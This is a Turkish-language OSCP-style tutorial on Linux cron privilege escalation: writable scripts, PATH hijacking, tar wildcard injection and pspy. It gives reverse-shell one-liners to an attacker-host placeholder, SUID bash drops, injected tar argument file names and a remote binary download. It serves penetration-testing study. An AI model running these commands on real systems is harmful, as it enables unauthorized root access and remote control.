Cron Job Privilege Escalation (writable scripts, PATH ve wildcard abuse, pspy)
root tarafindan calistirilan cron job'lari kesfedip; yazilabilir script, gus PATH, gus wildcard veya yakalanan gecici dosyalar uzerinden root'a yetki yukseltme. Gizli/zamanli job'lari pspy ile tespit etme.
- Hedef uzerinde bir kullanici shell'i (user-level access)
- Cron scriptleri okuma/yazma izinlerini incelemek icin dosya sistemine erisim
Komutlar
crontab -l cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ cat /etc/cron.d/* grep -rln "" /var/spool/cron/ 2>/dev/null; ls -la /var/spool/cron/crontabs/ 2>/dev/null find / -name "*.sh" -perm -o+w -type f 2>/dev/null echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> {{URL}} /tmp/rootbash -p printf '#!/bin/bash\nbash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\n' > /tmp/overwrite.sh; chmod +x /tmp/overwrite.sh echo 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1' > /home/user/overwrite.sh; chmod +x /home/user/overwrite.sh touch /home/loot/--checkpoint=1; touch /home/loot/'--checkpoint-action=exec=sh runme.sh'; printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash\n' > /home/loot/runme.sh ./pspy64 -pf -i 1000 wget http://{{LHOST}}:{{LPORT}}/pspy64 -O /tmp/pspy64; chmod +x /tmp/pspy64 Senaryo
Linux’ta cron, belirli araliklarla script ve komut calistiran zamanlayicidir. Bu job’lar cogu zaman root kullanicisi ile calisir. Eger root’un calistirdigi bir scripti yazabiliyor, scriptin cagirdigi bir komutu PATH uzerinden ele geciriyor veya wildcard genislemesini suistimal ediyorsak, kullanici yetkisinden root’a tirmaniriz. Bu, OSCP’de en sik gorulen privesc vektorlerinden biridir.
Enumeration
Ilk adim hangi job’larin var oldugunu ve kimin calistirdigini bulmaktir:
crontab -lsadece mevcut kullanicinin job’larini gosterir; root job’larini gostermez./etc/crontab,/etc/cron.d/,/etc/cron.{daily,hourly,weekly,monthly}/sistem genelindeki job’lari icerir ve genelde root ile calisir./etc/crontabicindeki PATH= satirini mutlaka oku — PATH hijack saldirisinin temelidir./var/log/syslogveya/var/log/cron.log(okunabilirse)grep CRONile tetikleme zamanlarini ve calisan komutlari sizdirabilir.
Gizli job’lari pspy ile yakalama
Bazi job’lar dosya sisteminde gorunur tanim birakmaz (orn. baska bir scheduler veya gomulu bir loop). pspy, root ayricaligi olmadan process tablosunu yuksek frekansta poll’leyerek calisan komutlari ve onlarin tam argumanlarini gosterir. Statik bir Go binary’sidir, hedefte derleme gerekmez; pspy64’u wget/scp ile aktarip chmod +x yapip calistirmak yeterlidir. Job’in ne sikta ve hangi komutla ciktigini gormek exploit’i hedeflemenin anahtaridir.
Exploitation yollari
1) Yazilabilir cron script
Job’in cagirdigi .sh dosyasinin uzerinde yazma iznimiz varsa (find / -perm -o+w ile bulunur), iceriye payload ekleriz. En guvenilir yontem SUID bash birakmaktir: cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash. Job tetiklenince root, bu satiri calistirir ve sonra /tmp/rootbash -p ile root shell alirsin. -p bayragi euid’i koruyup privilege drop’u engeller — unutma. Reverse shell de eklenebilir ama lab’da SUID bash daha stabildir.
2) PATH hijack
/etc/crontab PATH’i bizim yazabildigimiz bir dizinle (orn. /home/<user>) basliyorsa ve job mutlak yol vermeden bir komut cagiriyorsa (orn. sadece backup veya overwrite.sh), o komut adiyla esleyen kotu niyetli bir dosyayi PATH’in ilk dizinine koyariz. Cron, PATH’i soldan saga tarayacagi icin once bizimkini bulur.
3) Wildcard injection (tar)
Job cd /backup && tar -czf out.tar.gz * gibi wildcard iceriyorsa, glob genislemesi dizindeki dosya isimlerini argumana cevirir. Saldirgan, isimleri tar bayraklarina benzeyen dosyalar olusturarak (--checkpoint=1, --checkpoint-action=exec=sh runme.sh) tar’a komut calistirtir. Bu GTFOBins tar tekniginin klasik uygulamasidir; ayni mantik rsync, chown, chmod wildcard’larinda da gecerlidir.
Gotchas / Notlar
- Job’in tetikleme periyodunu pspy ile dogrula; aksi halde payload’inin neden calismadigini anlamadan beklersin.
- Payload eklerken scriptin syntax’ini bozma —
>>ile ekle, dosyayi sifirlama. --checkpointdosyalarini olustururkencdile dogru dizine girdiginden ve glob’un orada calistigindan emin ol.- Temizlik:
/tmp/rootbash, sahte PATH binary’leri ve--checkpointdosyalarini is bittikten sonra kaldir. - Otomatik enum icin
linpeas.shzaten tum cron yollarini ve yazilabilir scriptleri vurgular; ama exploit’i elle kurmak OSCP’de beklenir.